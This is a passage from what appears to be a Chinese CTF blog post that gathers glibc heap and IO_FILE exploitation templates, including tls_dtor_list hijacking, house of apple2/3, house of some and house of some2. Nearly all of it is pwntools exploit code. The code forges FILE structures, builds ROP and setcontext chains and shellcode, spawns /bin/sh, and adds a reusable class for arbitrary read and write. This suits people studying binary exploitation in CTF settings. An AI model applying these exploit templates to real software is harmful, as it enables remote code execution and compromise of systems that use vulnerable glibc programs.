5
6
7
8
9
10
11
12
13
14
15
16
17
void __call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif

tls_dtor_list = tls_dtor_list->next;
func (cur->obj);

atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}

可以看到func其实是一个函数指针,而obj则是指向该函数的参数的位置
我们可以将tls_dtor_list指向我们伪造的堆地址,将func改为system的地址(ogg也可以),obj指向/bin/sh\x00即可getshell
注意,这里对func这个函数指针进行了加密,所以要泄露出__pointer_chk_guard的值或将其修改为已知的值
fs寄存器的值和地址可以通过x/16gx pthread_self()指令来查看
模板:

1
2
3
4
5
6
7
8
ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# 两次largebin attack改tls_dtor_list与pointer_guard

fake_pointer_guard = heap_base + 0x17b0
edit(0, b'a'*0x420 + p64(ROL(libc.sym['system'] ^ fake_pointer_guard, 0x11, 64)) + p64(next(libc.search(b'/bin/sh'))))

若是想orw,那么可以让func成员为magic_gadget的相关数据,将rdirdx转换后,再调用setcontext + 61SROP即可
最终通过exit()函数退出程序触发攻击

house of apple3 + house of 一骑当千

这个模板为两种打法相结合,house of 一骑当千的好处是打orw时不需要用到magic gadgethouse of apple3的关注点主要是对成员_codecvt的利用,当wfilevtable给上保护后依然可以使用
模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import numpy as np

fake_file_addr = 0x3a60+heap_base
fake_ucontext_addr = fake_file_addr + 0x100

# house of apple3
fake_file = p64(np.uint(-21))+p64(0)
fake_file += p64(0xffffffffffffffff) #_IO_read_endtable
fake_file += p64(0) * 2 + p64(1)
fake_file = fake_file.ljust(0x40, b'\x00')
fake_file += p64(fake_file_addr + 0x100) # _IO_buf_end = fake_addr
fake_file = fake_file.ljust(0x98, b'\x00')
fake_file += p64(fake_file_addr + 0x40) # _codecvt
fake_file += p64(libc_base+0x1fe6e0) # _wide_data 尽量保持不变
fake_file = fake_file.ljust(0xd8, b'\x00')
fake_file += p64(libc_base+libc.symbols['_IO_wfile_jumps'] + 0x8) # vtable
fake_file = fake_file.ljust(0x100, b'\x00')
fake_file += p64(0) # fake_ucontext_addr rdi 这个地方必须为0 和这里偏移0x1c0的位置必须为0
fake_file += p64(0) * 4
fake_file += p64(setcontext) # 用于控制rip setcontext(一骑当千)/setcontext+61/system(rdi不好控制)/ogg(这个没试过)

# house of 一骑当千
rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addr
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = mprotect

ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(heap_base + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')

shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('flag'))

payload = fake_file + ucontext + bytes(shellcode)

house of some

Csome学长提出的利用链,主要是通过伪造fake_file来造成任意地址写和任意地址读
其中fake_file分为write_fileread_file,令_IO_list_all指向一个read_file,并令write_file_chain指向将要执行的read函数所写入的地址。在进行fsop时会遍历到read_file执行read函数,此时写入write_file,并令其_chain指向另外一个我们已经写好的read_file。此时由于我们第一个read_flie_chain已经指向我们read函数所写入的地址,而该地址已经被我们写入了write_file,我们可以通过该write_file来泄露任意地址。执行完wirte函数后rip则会继续遍历到我们下一个read_file。我们便可以不断的进行read-write-read这样一个过程,可以无数次泄露程序的所有地址和修改任何地址中的内容
write_file:

1
2
3
4
5
6
7
8
fake_file_write = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: 需要泄露的起始地址, # _IO_write_base
0x28: 需要泄露的终止地址, # _IO_write_ptr
0x68: 下一个调用的fake file地址, # _chain
0x70: 1, # _fileno
0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")

read_file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end
0x68: 下一个调用的fake file地址, # _chain
0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xa0: wide_data的地址, # _wide_data
0xc0: 2, # _mode
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")
fake_wide_data = flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xe0: _IO_file_jumps - 0x48,
}, filler=b"\x00")

Csome的自动化脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
import time
# context.arch = "amd64"

class HouseOfSome:

def __init__(self, libc: ELF, controled_addr) -> None:
self.libc = libc
self.controled_addr =controled_addr
self.READ_LENGTH_DEFAULT = 0x400
self.LEAK_LENGTH = 0x500

self.fake_wide_data_template = lambda : flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
}, filler=b"\x00")

self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: buf_start, # _IO_buf_base
0x40: buf_end, # _IO_buf_end
0x68: chain, # _chain

0x70: p32(fileno), # _fileno
0x82: b"\x00", # _vtable_offset
0xa0: wide_data, # _wide_data
0xc0: 2, # _mode
0xd8: self.libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")

self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
0x00: 0x800 | 0x1000, # _flags

0x20: buf_start, # _IO_write_base
0x28: buf_end, # _IO_write_ptr

0x68: chain, # _chain
0x70: p32(fileno), # _fileno
0xd8: self.libc.symbols['_IO_file_jumps'], # vtable
}, filler=b"\x00")

self.wide_data_length = len(self.fake_wide_data_template())
self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))

def next_control_addr(self, addr, len):
return addr + len

def read(self, fd, buf, len):
addr = self.controled_addr
f_read_file_0 = self.fake_file_read_template(buf, buf+len, addr+self.read_file_length, addr+self.read_file_length+self.wide_data_length, fd)
f_wide_data = self.fake_wide_data_template()
addr += self.read_file_length + self.wide_data_length
self.controled_addr = self.next_control_addr(self.controled_addr, (self.read_file_length+self.wide_data_length) * 2)
f_read_file_1 = self.fake_file_read_template(self.controled_addr, self.controled_addr+self.READ_LENGTH_DEFAULT, addr+self.read_file_length, self.controled_addr, 0)

payload = flat([
f_read_file_0,
f_wide_data,
f_read_file_1,
f_wide_data
])
assert b"\n" not in payload, "\\n in payload."
return payload

def write(self, fd, buf, len):
addr = self.controled_addr
f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd)
addr += self.write_file_length
f_wide_data = self.fake_wide_data_template()
self.controled_addr = self.next_control_addr(self.controled_addr, self.read_file_length+self.wide_data_length + self.write_file_length)
f_read_file_1 = self.fake_file_read_template(self.controled_addr, self.controled_addr+self.READ_LENGTH_DEFAULT, addr+self.read_file_length, self.controled_addr, 0)

payload = flat([
f_write_file,
f_read_file_1,
f_wide_data
])
assert b"\n" not in payload, "\\n in payload."
return payload

def bomb(self, io: tube, retn_addr):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
p.sendline(payload)
stack_leak = u64(p.recv(8).ljust(8, b"\x00"))
log.success(f"stack_leak : {stack_leak:#x}")

payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
p.sendline(payload)
# retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
log.success(f"retn_addr : {retn_addr:#x}")
buf = p.recv(self.LEAK_LENGTH)
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")

payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300)
p.sendline(payload)

rop = ROP(self.libc)
rop.base = stack_leak - self.LEAK_LENGTH + offset
rop.call('execve', [b'/bin/sh', 0, 0])
log.info(rop.dump())
rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"
p.sendline(rop_chain)

if __name__ == "__main__":
# libc = ELF("./libc-2.38.so.6")
context.arch = 'amd64'
libc = ELF("./libc.so.6", checksec=None)
# libc.address = 0x100000000000
# print(hex(libc.bss()))
# print(libc.maps)
# for k, v in libc.symbols.items():
# print(k, hex(v))
code = libc.read(libc.symbols['_IO_file_underflow'], 0x200)
print(code)
tmp = disasm(code)
print(tmp)

在编写exp时,只需通过from House_of_some import HouseOfSome将该包导入即可

house of banana

🍌🍌🍌🍌🍌🍌🍌🍌🍌🍌🍌🍌🍌

通过puts函数来触发IO链

通过源码我们可以发现,puts函数在启用时会调用虚表中的_IO_wfile_xsputn函数,因此这里给了我们机会来修改虚表偏移来触发io
我们可以将fake_file直接写在_IO_2_1_stdout_的位置上面或者修改stdout指针指向我们的fake_file
首先是用于getshellhouse of apple2

1
2
3
4
5
6
7
8
9
fake_file = flat({
0x0: b' sh;',
0x8: libc.symbols['_IO_2_1_stdout_'] - 0x10,
0x28: libc.symbols['system'],

0x88: libc.symbols['_environ']-0x10,
0xa0: libc.symbols['_IO_2_1_stdout_'] - 0x40,
0xd8: libc.symbols['_IO_wfile_jumps'] - 0x20,
}, filler=b"\x00")

然后是用于打orwhouse of apple2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
fake_file = flat({
0x8: libc.symbols['_IO_2_1_stdout_'] - 0x10,
0x10: setcontext,
0x20: 0,
0x28: pcop,

0x58: libc.symbols['_IO_2_1_stdout_'] & (~0xfff), # set rdi
0x60: 0x1000, # set rsi
0x78: 7, # set rdx
0x90: libc.symbols['_IO_2_1_stdout_']+0xf0, # set rsp
0x98: libc.symbols['mprotect'], # set rcx (first jmp)

0x88: libc.symbols['_environ']-0x10,
0xa0: libc.symbols['_IO_2_1_stdout_'] - 0x40,
0xd8: libc.symbols['_IO_wfile_jumps'] - 0x20,

0xe8: libc.symbols['_IO_2_1_stdout_'],

0xf0: [ # ROPstart
pop_rax_call_rax,
libc.symbols['_IO_2_1_stdout_']+0x100,
],
0x100: asm( # shellcode start
f"""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
}, filler=b"\x00")

house of some改进版

这里就贴某次比赛的exp,优点是可以不泄露堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

edit(0,fake_io_read)
bye()

p.recvuntil('conversation')

payload = b""
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000 + 0x200, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
target = stack - 648
log.success(f'target:{target:#x}')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_rbx_ret = libc_base + 0x000000000015f8c6
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0x00000000000630a9

payload = flat([
pop_rax_ret, 2,
pop_rax_ret, 2,
pop_rdi_ret, target + 0xc0,
pop_rsi_ret, 0,
syscall_ret,

pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, target + 0x150,
pop_rdx_rbx_ret, 0x30,0,
syscall_ret,

pop_rax_ret, 1,
pop_rdi_ret, 1,
syscall_ret,
b"flag\x00\x00\x00\x00"
])

sleep(0.1)
p.send(payload)

house of some2

原文链接:https://blog.csome.cc/p/house-of-some-2/ 只能说非常的暴力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from bisect import *

def search_IO_wfile_jumps_maybe_mmap():
global libc,libc_base
a = list(libc.search(p64(libc.symbols['_IO_wfile_overflow'])))
b = list(libc.search(p64(libc.symbols['_IO_file_close'])))
ans = []
result = 0
for i in a:
for j in b:
if abs(i - j) == 0x70 and i - 24 not in ans:
ans.append(i - 24)
log.success(f"{' '.join(map(lambda x: hex(x + libc_base), ans))} may be the address of _IO_wfile_jumps_maybe_mmap")
if (u64(libc.read(ans[0] + 0x20,0x8)) + libc_base) == (libc.symbols['_IO_wfile_underflow'] + libc_base):
result = ans[1]
else:
result = ans[0]
log.success(f'_IO_wfile_jumps_maybe_mmap:{result+libc_base:#x}')
return result + libc_base

def search_IO_file_jumps():
global libc,libc_base
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20 + libc_base
log.success(f'IO_str_jumps:{IO_str_jumps:#x}')
return IO_str_jumps

IO_str_jumps = search_IO_file_jumps()
_IO_default_xsgetn = IO_str_jumps + 0x40
_IO_default_xsputn = IO_str_jumps + 0x38
_IO_wfile_jumps_maybe_mmap=search_IO_wfile_jumps_maybe_mmap()

fake_file = flat({
0x0: 0x8000, # disable lock
0x38: libc_base + libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc_base + libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0x70: 0, # _fileno
0xa0: libc_base + libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xc0: p32(0xffffffff), # _mode < 0
0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00")

add(0x408,fake_file+b'\n')

p.send(flat({
0x8: libc_base+libc.symbols["_IO_2_1_stdout_"],
0x38: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),

0xd8: _IO_default_xsputn - 0x90, # vtable
0x28: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
0x30: libc_base+libc.symbols["_IO_2_1_stdout_"], # _IO_write_end

0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}, filler=b"\x00"))

p.send(flat({
0: libc_base + libc.symbols['system'], # retn
0x8: 0,
0x1c8-0xc8: {
# 0x0: p32(0xffffffff),
0x0:b'/bin/sh\x00',
0x38: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),

0xd8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
0x10: libc_base+libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end

0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}
}, filler=b"\x00"))

参考文章

https://www.cnblogs.com/Sta8r9/p/17586219.html(house of cat)
https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_6(House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解)
https://www.anquanke.com/post/id/235598(House OF Kiwi)
https://bbs.kanxue.com/thread-273832.htm([原创]House of apple 一种新的glibc中IO攻击方法 (2))
https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_13([原创] CTF 中 glibc堆利用 及 IO_FILE 总结)
https://bbs.kanxue.com/thread-276031.htm([原创]无路远征——GLIBC2.37后时代的IO攻击之道(二)house_of_秦月汉关)
https://bbs.kanxue.com/thread-273863.htm#msg_header_h3_0([原创]House of apple 一种新的glibc中IO攻击方法 (3))
https://bbs.kanxue.com/thread-276056.htm([原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千)